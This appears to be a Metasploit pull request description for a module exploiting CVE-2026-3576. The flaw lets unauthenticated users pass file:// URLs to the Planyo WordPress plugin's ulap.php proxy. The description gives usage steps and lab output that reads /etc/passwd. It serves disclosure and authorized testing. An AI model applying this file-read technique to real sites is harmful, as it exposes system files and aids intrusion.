Add WordPress Planyo plugin unauthenticated LFI module (CVE-2026-3576)

[anirbala98]

Description

This module exploits CVE-2026-3576, a local file inclusion vulnerability via server side request forgery in WordPress's Planyo Online Reservation System plugin(versions < 3.1). The plugin's AJAX proxy ulap.php does not validate the scheme of URLs supplied to it. This allows unauthenticated attackers to supply file:// URLs to ulap.php and retrieve any arbitrary local file contents from the target.

Breaking Changes

None

Reviewer Notes

Prior to version 3.1, the readme.txt file of the plugin does not mention the version in Stable Tag or Version headers. Instead, the version can be identified by looking at the last version mentioned in the Changelog section of readme.txt. Since check_plugin_version_from_readme() supports only Version and Stable Tag headers, I have implemented a check_plugin_version_from_changelog() function to scan the changelog section of readme.txt and retrieve current version.

Verification Steps

1. Set up Wordpress with Planyo Online Reservation Plugin < 3.1(a docker-compose.yml is given in the module documentation)
2. Start msfconsole and type use auxiliary/gather/wp_planyo_lfi_cve_2026_3576
3. Set target IP, target port and target URI with set RHOSTS, set RPORT and set TARGETURI
4. Execute run. It should identify that the plugin version is vulnerable and save the contents of the arbitrary file locally

Test Evidence

The module was tested with Wordpress 7.0.2(docker image) and Planyo Online Reservation plugin 2.9 and 3.1. For version 2.9, the module correctly identified the version as vulnerable and locally saved the contents of target's /etc/passwd file. For version 3.1, the module correctly identified the version as not vulnerable.

Planyo Online Reservation System plugin 2.9

msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > run
[*] Running module against 127.0.0.1
[+] Vulnerable version of plugin detected
[*] File saved to: /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin
[*] Auxiliary module execution completed
msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > cat /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin
[*] exec: cat /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Planyo Online Reservation System plugin 3.1

msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > run
[*] Running module against 127.0.0.1
[+] Plugin found: {:version=>"3.1"}
[-] This version of plugin is not vulnerable
[*] Auxiliary module execution completed

Environment

Field	Details
Operating System	Kali Linux
Target Software/Hardware	Wordpress 7.0.2
Docker Image / Vagrant Setup	Wordpress 7.0.2 + MySQL 8.0 compose file in module documentation

AI Usage Disclosure

ChatGPT was used to help with check_plugin_version_from_changelog() helper function. The code was manually validated and modified accordingly by the author.

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
• Tested on the target environment specified in the Environment section above
• Read the CONTRIBUTING.md and module acceptance guidelines